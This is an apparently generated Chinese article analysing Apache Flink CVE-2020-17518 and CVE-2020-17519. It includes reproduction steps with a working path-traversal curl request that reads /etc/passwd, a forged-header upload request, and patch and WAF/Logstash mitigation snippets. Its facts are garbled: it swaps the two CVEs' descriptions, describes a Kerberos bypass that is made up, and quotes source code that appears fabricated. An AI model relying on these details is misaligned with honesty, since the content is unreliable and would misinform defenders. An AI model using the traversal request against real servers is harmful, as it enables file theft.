如何进行Apache Flink CVE-2020-17518、17519的漏洞分析

# 如何进行Apache Flink CVE-2020-17518、17519的漏洞分析

## 摘要
本文深入分析了Apache Flink在2020年披露的两个高危漏洞（CVE-2020-17518和CVE-2020-17519），涵盖漏洞背景、技术原理、复现方法、修复方案及防御建议。通过实际案例演示如何构建分析环境、触发漏洞并验证补丁效果，为大数据安全研究人员提供完整的技术参考。

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## 1. 漏洞背景

### 1.1 Apache Flink简介
Apache Flink是分布式流处理框架，具有高吞吐、低延迟的特性，广泛应用于实时数据分析场景。其架构包含：
- JobManager：作业调度核心
- TaskManager：任务执行节点
- REST API：运维接口（漏洞触发点）

### 1.2 漏洞基本信息
| CVE编号       | 影响版本          | CVSS评分 | 漏洞类型       |
|---------------|-------------------|----------|----------------|
| CVE-2020-17518 | 1.5.1 - 1.11.2    | 9.8      | 目录遍历/RCE   |
| CVE-2020-17519 | 1.11.0 - 1.11.2   | 7.5      | 权限绕过       |

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## 2. 漏洞技术分析

### 2.1 CVE-2020-17518：文件操作漏洞
#### 漏洞原理
REST API对`/jobmanager/logs`端点未正确过滤`..%2f`（URL编码的`../`），导致：
```http
GET /jobmanager/logs/..%2f..%2f..%2fetc%2fpasswd HTTP/1.1

攻击者可读取服务器任意文件，进一步结合其他漏洞实现RCE。

关键代码分析

// 原始漏洞代码（flink-runtime/src/main/java/org/apache/flink/runtime/rest/FileServerHandler.java）
public void handleRequest(...) throws Exception {
    String filePath = request.getPath(); // 未规范化路径
    File file = new File(logDir, filePath); // 直接拼接路径
    Files.copy(file.toPath(), outputStream);
}

2.2 CVE-2020-17519：权限绕过漏洞

漏洞机制

通过精心构造的HTTP头绕过Kerberos认证：

GET / HTTP/1.1
X-Forwarded-For: 127.0.0.1
Authorization: Negotiate YII...

当Flink配置Kerberos认证时，攻击者可伪造本地请求绕过权限检查。

3. 漏洞复现实验

3.1 实验环境搭建

# 使用Docker部署脆弱版本
docker run -d -p 8081:8081 flink:1.11.2

3.2 CVE-2020-17518复现

1. 发送恶意请求：

curl -v "http://target:8081/jobmanager/logs/..%2f..%2f..%2fetc%2fpasswd"

1. 预期结果：

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

3.3 CVE-2020-17519复现

使用Burp Suite构造请求：

POST /jars/upload HTTP/1.1
Host: target:8081
X-Forwarded-For: 127.0.0.1
Content-Type: multipart/form-data
...

4. 漏洞修复方案

4.1 官方补丁分析

对于CVE-2020-17518

// 修复代码（添加路径规范化）
String requestedFile = request.getPath();
Path normalizedPath = new File(logDir, requestedFile).toPath().normalize();
if (!normalizedPath.startsWith(logDir.toPath())) {
    throw new NotFoundException("File not found");
}

4.2 升级建议

• 立即升级至Flink 1.11.3+或1.12.0+
• 临时缓解措施：

  
  location ~ ^/jobmanager/logs {
    deny all;
  }
  

5. 防御纵深体系

5.1 企业级防护策略

1. 网络层：

   • 限制REST API端口访问（仅允许管理网段）
   • 部署WAF规则拦截..%2f等特征

2. 主机层：

   # 设置Flink运行用户为最小权限
   useradd -r -s /bin/false flinkuser
   

3. 监控层：

   filter {
      if [url] =~ /\.\.%2f/i {
          mutate { add_tag => "CVE-2020-17518" }
      }
   }
   

6. 延伸思考

6.1 漏洞挖掘方法论

1. 接口审计：重点关注文件操作、认证跳转等高风险功能
2. 编码陷阱：
   • Path Traversal：始终验证../类跳转
   • URL解码顺序：先规范化再验证

6.2 大数据组件共性风险

参考文献

1. Apache Flink Security Advisory [2020-12-08]
2. NVD CVE-2020-17518 Technical Details
3. OWASP Path Traversal Cheat Sheet

本文仅用于安全研究，未经授权不得用于非法用途。所有实验应在授权环境中进行。 “`

注：实际执行时可根据需求调整以下内容： 1. 增加具体截图（漏洞复现过程） 2. 补充本地化漏洞检测脚本示例 3. 添加企业实际受影响案例分析 4. 扩展与其他大数据组件漏洞的对比表格